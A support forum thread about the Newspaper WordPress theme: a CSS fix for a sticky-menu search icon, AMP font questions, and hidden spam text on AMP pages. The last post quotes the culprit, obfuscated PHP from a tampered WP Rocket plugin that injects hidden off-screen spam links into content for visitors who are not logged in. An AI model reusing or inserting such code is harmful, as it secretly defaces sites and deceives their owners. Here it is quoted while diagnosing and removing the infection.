How Fix the Search bar Option in Coffee shop demo,

Posted in: Newspaper
Post count: 19

How Fix the Search bar Option in Coffee shop demo, like when you scroll down and the menu sticks to header the search menu down a little bit, not in a line with the social icons
here is the screenshot:- https://imgur.com/a/SApMtlJ

Post count: 20688

Hi,

Indeed there seems to be an issue with the search icon line-height when the menu is sticky. Please enter this code in the Theme panel->Custom CSS section

.td-header-menu-wrap.td-affix #td-header-search-button .td-icon-search:before {
line-height: 48px!important;
}

Then check the search position when the header menu is sticky again. Let me know.

I will add this on our list and it will be fixed.

Thanks

Post count: 19

yes, it is working now fixed, thanks,
I have 2 more problems, when I activate AMP plugin there is a spam content showing in my page here is the screenshot:- https://imgur.com/a/XuJYVIq only on AMP version

2) how can I increase font size/ or other font styles in AMP page like in my normal version which I have

Post count: 20688

Glad it worked. Regarding the AMP issue, I don’t know what that is. I can’t tell from a screenshot.
If you could provide a link to a post where it appears I could take a look at it. Does it appear in all posts? Does it appear in the desktop post version? It could be a plugin, code or shortcode entered in the post content.

The AMP plugin does not have any font settings at the moment, these might be introduced at a future date. So in order to modify the font size of the post content the only option at the moment would be to modify it in the plugin stylesheet
https://forum.tagdiv.com/topic/how-to-change-the-font-in-tagdiv-amp-plugin/

Post count: 19

non amp version:- https://www.remediesone.com/aloe-vera-juice-for-hair-growth/
amp version: https://www.remediesone.com/aloe-vera-juice-for-hair-growth/amp

“Want create site? Find Free WordPress Themes and plugins.”
above code appears just above the article only in amp version, after installing amp plugin.
if you want i can create a user for you to check in my website, please help to get rid of this, thanks

Post count: 20688

It seems to appear right below this ad – https://www.screencast.com/t/wBxKcAIO
It is invisible because of some CSS positioning it outside of the actual page, but it still loads.

From what I can find online this could be a type of malware that infected the website
https://stackoverflow.com/questions/42901355/malicious-text-appears-in-all-pages-and-posts-how-do-i-get-rid-of-it
https://wordpress.org/support/topic/known-javascript-malware-details-httpsucuri-netmalwareentrymwspamseos/

Users with a similar issue in those topics mention that a plugin might be the cause downloaded from various sources. You could try to deactivate them all, leave only theme plugins active. Then if you have caching, clear it. Check if the text still displays in the AMP page for example.

Post count: 19

Thanks Issue solved, it was due a malicious code in wprocket plugin

if( ! function_exists(‘sorry_function’)){
function sorry_function($content) {
if (is_user_logged_in()){return $content;} else {if(is_page()||is_single()){
$vNd25 = “\74\144\151\x76\40\163\x74\x79\154\145\x3d\42\x70\157\x73\151\164\x69\x6f\x6e\72\141\x62\x73\x6f\154\165\164\145\73\164\157\160\x3a\60\73\154\145\146\x74\72\55\71\71\x39\71\x70\170\73\42\x3e\x57\x61\x6e\x74\40\x63\162\145\x61\x74\x65\40\163\151\164\x65\x3f\x20\x46\x69\x6e\x64\40\x3c\x61\x20\x68\x72\145\146\75\x22\x68\x74\164\x70\72\x2f\57\x64\x6c\x77\x6f\162\144\x70\x72\x65\163\163\x2e\x63\x6f\x6d\57\42\76\x46\x72\145\145\40\x57\x6f\x72\x64\x50\162\x65\163\x73\x20\124\x68\x65\155\145\x73\x3c\57\x61\76\40\x61\x6e\144\x20\x70\x6c\165\147\x69\156\x73\x2e\x3c\57\144\151\166\76”;
$zoyBE = “\74\x64\x69\x76\x20\x73\x74\171\154\145\x3d\x22\x70\157\163\x69\x74\x69\x6f\156\x3a\141\142\163\x6f\154\x75\164\x65\x3b\x74\157\160\72\x30\73\x6c\x65\x66\164\72\x2d\x39\71\71\x39\x70\x78\73\42\x3e\104\x69\x64\x20\x79\x6f\165\40\x66\x69\156\x64\40\141\x70\153\40\146\157\162\x20\x61\156\144\162\x6f\151\144\77\40\x59\x6f\x75\x20\x63\x61\156\x20\146\x69\x6e\x64\40\156\145\167\40\74\141\40\150\162\145\146\x3d\x22\150\x74\x74\160\163\72\57\x2f\x64\154\x61\156\x64\x72\157\151\x64\62\x34\56\x63\x6f\155\x2f\42\x3e\x46\x72\145\x65\40\x41\x6e\x64\x72\157\151\144\40\107\141\x6d\145\x73\74\x2f\x61\76\40\x61\156\x64\x20\x61\160\x70\163\x2e\74\x2f\x64\x69\x76\76”;
$fullcontent = $vNd25 . $content . $zoyBE; } else { $fullcontent = $content; } return $fullcontent; }}
add_filter(‘the_content’, ‘sorry_function’);}

Just i searched function sorry_function, and deleted that code part. now back to normal

Viewing 7 posts - 1 through 7 (of 7 total)
The forum ‘Newspaper’ is closed to new topics and replies.